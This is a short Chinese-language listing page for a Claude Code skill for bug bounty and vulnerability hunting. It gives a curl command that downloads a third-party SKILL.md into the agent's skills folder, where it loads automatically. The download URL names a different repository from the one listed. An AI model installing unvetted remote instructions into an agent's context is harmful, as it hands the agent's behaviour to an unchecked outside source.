mkdir -p ~/.claude/skills/bug-bounty
curl -s https://raw.githubusercontent.com/shuvonsec/claude-bug-bounty/main/SKILL.md \
  -o ~/.claude/skills/bug-bounty/SKILL.md

之后，在 Claude Code 中询问有关漏洞赏金、侦察或漏洞挖掘的问题时，此 Skill 会自动加载。

基本信息

作者: elementalsouls
仓库: elementalsouls/claude-bughunter
分类: 安全
安装次数: 290
GitHub Stars: 5,334

报告问题